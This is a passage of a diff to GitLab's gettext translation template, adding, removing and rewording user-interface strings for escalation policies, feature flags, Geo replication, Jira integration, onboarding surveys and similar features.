+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
